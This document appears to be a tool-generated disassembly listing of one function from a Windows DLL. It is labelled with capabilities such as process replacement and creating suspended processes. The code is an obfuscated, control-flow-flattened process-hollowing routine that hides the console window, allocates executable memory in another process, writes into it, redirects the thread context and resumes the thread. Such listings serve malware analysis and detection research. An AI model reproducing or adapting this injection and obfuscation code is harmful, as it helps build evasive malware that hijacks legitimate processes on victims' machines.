Function at 0x10002cd0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x130
mov eax, dword [0x10068800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x138], 0xe76858f7
mov eax, dword [ebp - 0x138]
mov dword [ebp - 0x13c], eax
sub eax, 0x810b5433
je 0x1000a81e
jmp 0x10002d0c
mov eax, dword [ebp - 0x13c]
sub eax, 0x817e54f2
je 0x10009640
jmp 0x10002d22
mov eax, dword [ebp - 0x13c]
sub eax, 0x8215b693
je 0x10005660
jmp 0x10002d38
mov eax, dword [ebp - 0x13c]
sub eax, 0x832342c2
je 0x100097c9
jmp 0x10002d4e
mov eax, dword [ebp - 0x13c]
sub eax, 0x83d7f4e0
je 0x1000b2e6
jmp 0x10002d64
mov eax, dword [ebp - 0x13c]
sub eax, 0x84581214
je 0x10009b6b
jmp 0x10002d7a
mov eax, dword [ebp - 0x13c]
sub eax, 0x856d5ce5
je 0x10009eb4
jmp 0x10002d90
mov eax, dword [ebp - 0x13c]
sub eax, 0x8571da2f
je 0x1000afd0
jmp 0x10002da6
mov eax, dword [ebp - 0x13c]
sub eax, 0x8772e197
je 0x100065bf
jmp 0x10002dbc
mov eax, dword [ebp - 0x13c]
sub eax, 0x877ad345
je 0x10006a17
jmp 0x10002dd2
mov eax, dword [ebp - 0x13c]
sub eax, 0x87fdb3b4
je 0x10007432
jmp 0x10002de8
mov eax, dword [ebp - 0x13c]
sub eax, 0x881a6836
je 0x10007ce4
jmp 0x10002dfe
mov eax, dword [ebp - 0x13c]
sub eax, 0x89103893
je 0x10005b8e
jmp 0x10002e14
mov eax, dword [ebp - 0x13c]
sub eax, 0x892fa95c
je 0x10008ba3
jmp 0x10002e2a
mov eax, dword [ebp - 0x13c]
sub eax, 0x897b729d
je 0x10006224
jmp 0x10002e40
mov eax, dword [ebp - 0x13c]
sub eax, 0x89d379e4
je 0x1000754f
jmp 0x10002e56
mov eax, dword [ebp - 0x13c]
sub eax, 0x89e7619a
je 0x10007126
jmp 0x10002e6c
mov eax, dword [ebp - 0x13c]
sub eax, 0x8b8fd474
je 0x10008f6a
jmp 0x10002e82
mov eax, dword [ebp - 0x13c]
sub eax, 0x8bf72c29
je 0x1000a82d
jmp 0x10002e98
mov eax, dword [ebp - 0x13c]
sub eax, 0x8c50b86d
je 0x10006ed6
jmp 0x10002eae
mov eax, dword [ebp - 0x13c]
sub eax, 0x8cb11508
je 0x100061d6
jmp 0x10002ec4
mov eax, dword [ebp - 0x13c]
sub eax, 0x8d579de6
je 0x10009762
jmp 0x10002eda
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e3a17cc
je 0x10007e9a
jmp 0x10002ef0
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e49f2f8
je 0x1000ad19
jmp 0x10002f06
mov eax, dword [ebp - 0x13c]
sub eax, 0x8e97c421
je 0x1000aaf6
jmp 0x10002f1c
mov eax, dword [ebp - 0x13c]
sub eax, 0x8f872bf4
je 0x100072f1
jmp 0x10002f32
mov eax, dword [ebp - 0x13c]
sub eax, 0x8ff57459
je 0x10009b3a
jmp 0x10002f48
mov eax, dword [ebp - 0x13c]
sub eax, 0x90e05d4d
je 0x10007d5e
jmp 0x10002f5e
mov eax, dword [ebp - 0x13c]
sub eax, 0x90e83a6b
je 0x1000ae4f
jmp 0x10002f74
mov eax, dword [ebp - 0x13c]
sub eax, 0x913a2a8a
je 0x1000a92f
jmp 0x10002f8a
mov eax, dword [ebp - 0x13c]
sub eax, 0x916e9eed
je 0x1000a45e
jmp 0x10002fa0
mov eax, dword [ebp - 0x13c]
sub eax, 0x91f2b5f5
je 0x10007ac5
jmp 0x10002fb6
mov eax, dword [ebp - 0x13c]
sub eax, 0x921d1133
je 0x100081d8
jmp 0x10002fcc
mov eax, dword [ebp - 0x13c]
sub eax, 0x923177df
je 0x10006cc7
jmp 0x10002fe2
mov eax, dword [ebp - 0x13c]
sub eax, 0x926316e5
je 0x10005938
jmp 0x10002ff8
mov eax, dword [ebp - 0x13c]
sub eax, 0x93f8dfb1
je 0x10006335
jmp 0x1000300e
mov eax, dword [ebp - 0x13c]
sub eax, 0x944d9095
je 0x100084c1
jmp 0x10003024
mov eax, dword [ebp - 0x13c]
sub eax, 0x94f91156
je 0x10005d5f
jmp 0x1000303a
mov eax, dword [ebp - 0x13c]
sub eax, 0x954136a6
je 0x1000a333
jmp 0x10003050
mov eax, dword [ebp - 0x13c]
sub eax, 0x95b17f61
je 0x1000ab52
jmp 0x10003066
mov eax, dword [ebp - 0x13c]
sub eax, 0x9633443a
je 0x100099f9
jmp 0x1000307c
mov eax, dword [ebp - 0x13c]
sub eax, 0x96394440
je 0x100057d8
jmp 0x10003092
mov eax, dword [ebp - 0x13c]
sub eax, 0x96dba447
je 0x100062f9
jmp 0x100030a8
mov eax, dword [ebp - 0x13c]
sub eax, 0x981f9de3
je 0x10006e5c
jmp 0x100030be
mov eax, dword [ebp - 0x13c]
sub eax, 0x983872ca
je 0x1000b0bf
jmp 0x100030d4
mov eax, dword [ebp - 0x13c]
sub eax, 0x984ebbe9
je 0x1000ac49
jmp 0x100030ea
mov eax, dword [ebp - 0x13c]
sub eax, 0x98a314e6
je 0x10008837
jmp 0x10003100
mov eax, dword [ebp - 0x13c]
sub eax, 0x98eb9abd
je 0x100060d2
jmp 0x10003116
mov eax, dword [ebp - 0x13c]
sub eax, 0x99f70629
je 0x10006740
jmp 0x1000312c
mov eax, dword [ebp - 0x13c]
sub eax, 0x9ab46df0
je 0x10008bc4
jmp 0x10003142
mov eax, dword [ebp - 0x13c]
sub eax, 0x9aee18d1
je 0x10006fff
jmp 0x10003158
mov eax, dword [ebp - 0x13c]
sub eax, 0x9af1c871
je 0x10007181
jmp 0x1000316e
mov eax, dword [ebp - 0x13c]
sub eax, 0x9b0def1e
je 0x10008132
jmp 0x10003184
mov eax, dword [ebp - 0x13c]
sub eax, 0x9b177673
je 0x1000b173
jmp 0x1000319a
mov eax, dword [ebp - 0x13c]
sub eax, 0x9b6a3c98
je 0x10009a93
jmp 0x100031b0
mov eax, dword [ebp - 0x13c]
sub eax, 0x9bd7c215
je 0x1000aa3c
jmp 0x100031c6
mov eax, dword [ebp - 0x13c]
sub eax, 0x9d43bfeb
je 0x10008875
jmp 0x100031dc
mov eax, dword [ebp - 0x13c]
sub eax, 0x9d8542aa
je 0x10009f91
jmp 0x100031f2
mov eax, dword [ebp - 0x13c]
sub eax, 0x9e29e557
je 0x1000b4d1
jmp 0x10003208
mov eax, dword [ebp - 0x13c]
sub eax, 0x9e72ad61
je 0x10006fa7
jmp 0x1000321e
mov eax, dword [ebp - 0x13c]
sub eax, 0x9eb392a9
je 0x10008828
jmp 0x10003234
mov eax, dword [ebp - 0x13c]
sub eax, 0x9ec92ef5
je 0x10006d9b
jmp 0x1000324a
mov eax, dword [ebp - 0x13c]
sub eax, 0x9fa409b3
je 0x100085a9
jmp 0x10003260
mov eax, dword [ebp - 0x13c]
sub eax, 0x9ffc5a0b
je 0x100071ca
jmp 0x10003276
mov eax, dword [ebp - 0x13c]
sub eax, 0xa071f143
je 0x1000affe
mov dword [ebp - 0x138], 0x3d655c78
jmp 0x1000b663
movss xmm0, dword [0x10018210]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x1001820c]
movss dword [ebp - 0x11c], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0x7776611b
sub edx, 1
sub edx, 0x7776611b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb83345fa
mov ecx, 0xd0f484a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
movss xmm0, dword [0x10018208]
movss dword [ebp - 0x11c], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xcca24252
sub edx, 1
sub edx, 0xcca24252
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8e49f2f8
mov ecx, 0x1b3a6cda
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
movss xmm0, dword [0x10018388]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x138], 0xe1595233
jmp 0x1000b663
movss xmm0, dword [0x100181fc]
movss dword [ebp - 0x120], xmm0
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xed332a94
sub edx, 1
sub edx, 0xed332a94
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x18499265
mov ecx, 0x5a7a91ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
movss xmm0, dword [0x10018370]
movss dword [ebp - 0x120], xmm0
mov dword [ebp - 0x138], 0xe9a1433a
jmp 0x1000b663
mov dword [ebp - 0x138], 0xac3c4404
jmp 0x1000b663
mov dl, 1
mov eax, 0x670ba98e
mov ecx, 0x61181326
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
movss xmm0, dword [0x10018334]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x138], 0xd4a0b74
jmp 0x1000b663
movss xmm0, dword [0x10018330]
movss dword [ebp - 0x124], xmm0
movss xmm0, dword [0x1001832c]
movss dword [ebp - 0x124], xmm0
mov dword [ebp - 0x138], 0x1951993a
jmp 0x1000b663
mov dword [ebp - 0x138], 0xa6764f06
jmp 0x1000b663
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x2210e145
sub edx, 1
sub edx, 0x2210e145
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x90e83a6b
mov ecx, 0x330f7db1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov dword [ebp - 0x138], 0xd211e7c2
jmp 0x1000b663
movss xmm0, dword [0x100182e8]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x100182e4]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x100182e0]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x138], 0x30365e59
jmp 0x1000b663
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0xa7ae26ea
sub edx, 1
sub edx, 0xa7ae26ea
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x4659746d
mov ecx, 0xdbac12ea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
movss xmm0, dword [0x100182d0]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x138], 0x468fbbd0
jmp 0x1000b663
movss xmm0, dword [0x100182c4]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x138], 0xc66cca5f
jmp 0x1000b663
mov dword [ebp - 0x138], 0x570d473c
jmp 0x1000b663
movss xmm0, dword [0x100181cc]
movss dword [ebp - 0x12c], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfe57df0e
mov ecx, 0xa9f9f22c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov dl, 1
mov eax, 0x9af1c871
mov ecx, 0x37d821d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb912dae5
mov ecx, 0x9ffc5a0b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
movss xmm0, dword [0x100181c8]
movss dword [ebp - 0x12c], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xb4c423f1
sub edx, 1
sub edx, 0xb4c423f1
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb912dae5
mov ecx, 0xd3848f08
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
movss xmm0, dword [0x100182a4]
movss dword [ebp - 0x130], xmm0
movss xmm0, dword [0x100182a0]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x138], 0xe75e95cc
jmp 0x1000b663
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe3a8279f
mov ecx, 0x1f607662
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
movss xmm0, dword [0x100181c0]
movss dword [ebp - 0x130], xmm0
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x214dff0e
mov ecx, 0xfa860510
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xb1421f47
sub edx, 1
sub edx, 0xb1421f47
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa071f143
mov ecx, 0x7b6eccc3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov dl, 1
mov eax, 0xc77846b0
mov ecx, 0xc77b2719
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov dl, 1
mov eax, 0xb63e802d
mov ecx, 0xab56ca42
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x3636a39f
sub edx, 1
add edx, 0x3636a39f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5c7488fc
mov ecx, 0x291f09
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov dword [ebp - 0x138], 0xf356087c
jmp 0x1000b663
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x68e78b74
mov ecx, 0x3232b039
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov dword [ebp - 0x138], 0x4b09c769
jmp 0x1000b663
mov dword [ebp - 0x138], 0xfae3a773
jmp 0x1000b663
mov dword [ebp - 0x138], 0x98a314e6
jmp 0x1000b663
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10018224]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xb9d3cf7b
jmp 0x1000b663
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10018220]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0x4a562a29
jmp 0x1000b663
mov dl, byte [ebp - 0xa9]
mov eax, 0x95b17f61
mov ecx, 0x9ab46df0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov eax, dword [ebp - 0x104]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000ca30
add esp, 0xc
mov eax, dword [ebp - 0x100]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000ca30
add esp, 0xc
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x70
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x138], 0x38072112
jmp 0x1000b663
mov eax, dword [ebp - 0x104]
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0xa0]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x8e97c421
mov ecx, 0x7ae7cc3a
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0xcd16cd2d
sub edx, 1
add edx, 0xcd16cd2d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d4f40cd
mov ecx, 0xd825c6df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov dword [ebp - 0x7c], eax
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0xbf7496ad
sub edx, 1
add edx, 0xbf7496ad
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4a2ee8e2
mov ecx, 0x832342c2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov dword [ebp - 0x138], 0x510743a3
jmp 0x1000b663
mov dl, byte [ebp - 0x69]
mov eax, 0x9b6a3c98
mov ecx, 0xbfa262aa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov dword [ebp - 0x138], 0x3887bd3
jmp 0x1000b663
mov eax, dword [ebp - 0x54]
mov esi, dword [eax]
mov edx, dword [ebp - 0x58]
mov eax, 0x7de1dbcd
mov ecx, 0x1f912bfe
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
mov edx, ecx
add edx, 0x891c8783
sub edx, 1
sub edx, 0x891c8783
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe6512fe9
mov ecx, 0x13f7aedd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
add edx, 0xb27c9831
sub edx, 1
sub edx, 0xb27c9831
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9e29e557
mov ecx, 0xaaadd35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov dword [ebp - 0x138], 0x479f9851
jmp 0x1000b663
mov dl, byte [ebp - 0x29]
mov eax, 0xeb3bbfab
mov ecx, 0xb36d346b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov dword [ebp - 0x138], 0x46de05ef
jmp 0x1000b663
mov dword [ebp - 0x138], 0xcd95470d
jmp 0x1000b663
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x5e821cc
mov ecx, 0x2f804f4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov ecx, dword [0x10069b28]
mov eax, dword [0x10069b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xbbdcb221
mov ecx, 0xb6241c2b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
mov ecx, dword [ebp - 0x18]
add ecx, 0x5f5d5d66
add ecx, 8
sub ecx, 0x5f5d5d66
mov eax, dword [ebp - 0x104]
mov edx, dword [eax]
mov eax, dword [ebp - 0xf0]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
sub ecx, 0xfee283a2
add ecx, eax
add ecx, 0xfee283a2
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x104]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0x104]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0x138], 0x8e97c421
jmp 0x1000b663
mov eax, dword [ebp - 0x104]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x138], 0xe0473c73
jmp 0x1000b663
mov eax, dword [0x10069b28]
mov ecx, dword [0x10069b24]
mov edx, eax
sub edx, 0x69d68760
sub edx, 1
add edx, 0x69d68760
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6fb1487e
mov ecx, 0x1a41588a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x138], eax
jmp 0x1000b663
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011d0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011d0
add esp, 4
movss xmm0, dword [0x1001821c]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x10018218]
movss dword [ebp - 0x11c], xmm0
movss xmm0, dword [0x10018214]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x138], 0xd964aec
jmp 0x1000b663
movss xmm0, dword [0x10018208]
movss dword [ebp - 0x11c], xmm0
mov dword [ebp - 0x138], 0x926316e5
jmp 0x1000b663
mov dword [ebp - 0x138], 0x330f7db1
jmp 0x1000b663
mov dword [ebp - 0x138], 0xba6791c5
jmp 0x1000b663
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x100181a0]
movss dword [eax], xmm0
mov dword [ebp - 0x138], 0xe638e87f
jmp 0x1000b663
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x49800
call section..text
add esp, 8
mov eax, dword [ebp - 0x114]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x138], 0xe74c8e1b
jmp 0x1000b663
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x90]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov dword [ebp - 0x138], 0x3043a88d
jmp 0x1000b663
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xc4]
mov dword [ebp - 0x138], 0xaaadd35
jmp 0x1000b663
jmp 0x10002cf0